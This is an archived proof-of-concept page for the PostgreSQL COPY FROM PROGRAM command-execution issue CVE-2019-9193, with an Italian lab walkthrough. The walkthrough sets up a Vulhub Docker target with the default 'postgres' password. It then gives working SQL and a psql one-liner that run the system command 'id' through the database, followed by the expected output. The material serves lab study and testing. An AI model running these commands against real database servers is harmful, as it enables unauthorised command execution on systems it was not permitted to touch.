关联漏洞
标题:
PostgreSQL 操作系统命令注入漏洞
(CVE-2019-9193)
描述:PostgreSQL是PostgreSQL组织的一套自由的对象关系型数据库管理系统。该系统支持大部分SQL标准并且提供了许多其他特性,例如外键、触发器、视图等。 PostgreSQL 9.3至11.2版本中的导入导出数据命令‘COPY TO/FROM PROGRAM’存在操作系统命令注入漏洞。攻击者可利用该漏洞获取数据库超级用户权限,从而执行任意系统命令。
介绍
# CVE-2019-9193byVulHub
---
# PostgreSQL Arbitrary Command Execution with Admin Privileges (CVE-2019-9193)
## Descrizione
PostgreSQL è un potente sistema di gestione di database relazionale open-source. Una vulnerabilità presente nelle versioni dalla 9.3 alla 11 consente agli amministratori o agli utenti con i privilegi `COPY TO/FROM PROGRAM` di eseguire comandi arbitrari sul sistema.
### Riferimenti:
- [GitHub - Vulhub - PostgreSQL CVE-2019-9193](https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193)
- [Greenwolf Security - Authenticated Arbitrary Command Execution on PostgreSQL 9.3 - Latest](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
---
## Configurazione dell'ambiente
### Docker Compose file (`docker-compose.yml`)
Crea un file `docker-compose.yml` con il seguente contenuto:
```yaml
version: '2'
services:
postgres:
image: vulhub/postgres:10.7
ports:
- "5432:5432"
environment:
- POSTGRES_PASSWORD=postgres
```
### Avvio del container PostgreSQL
Esegui il container con il seguente comando:
```bash
docker compose up -d
```
Verifica che il container sia in esecuzione:
```bash
docker ps
```
L'output dovrebbe mostrare il container PostgreSQL in ascolto sulla porta `5432`.
---
## Esecuzione dell'exploit senza entrare nel container
### 1. Installazione del client PostgreSQL
Se non hai il client `psql` installato, puoi farlo con:
- **Kali:**
```bash
apt-get install postgresql-client
```
### 2. Connessione al database da riga di comando
Collegati al database direttamente da Kali:
```bash
psql -h localhost -p 5432 -U postgres
```
Ti verrà richiesta la password, inserisci:
```
postgres
```
### 3. Esecuzione del PoC (Proof of Concept)
Una volta connesso alla console PostgreSQL, esegui i seguenti comandi per sfruttare la vulnerabilità:
```sql
-- Elimina la tabella se esiste
DROP TABLE IF EXISTS cmd_exec;
-- Crea una nuova tabella per memorizzare l'output del comando
CREATE TABLE cmd_exec(cmd_output text);
-- Esegui il comando 'id' tramite la funzione COPY FROM PROGRAM
COPY cmd_exec FROM PROGRAM 'id';
-- Visualizza l'output del comando
SELECT * FROM cmd_exec;
```
### 4. Esecuzione del comando da riga di comando (senza shell interattiva)
Puoi eseguire tutto direttamente dalla riga di comando:
```bash
psql -h localhost -p 5432 -U postgres -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;"
```
---
## Verifica dell'output
Se l'exploit è riuscito, dovresti vedere un output simile:
```
cmd_output
-------------------------
uid=999(postgres) gid=999(postgres) groups=999(postgres)
(1 row)
```
---
## Uscita dalla console PostgreSQL
Premi `\q` per uscire:
```sql
\q
```
---
## Note di sicurezza
Questa vulnerabilità permette l'esecuzione arbitraria di comandi con privilegi amministrativi. **Utilizzala solo in ambienti controllati e a scopo di studio o verifica**. Sfruttare questa vulnerabilità su sistemi non autorizzati è illegale.
```
---
文件快照
[4.0K] /data/pocs/5b0a16c09869de677d6a9150dabeb5974926e051
└── [3.0K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。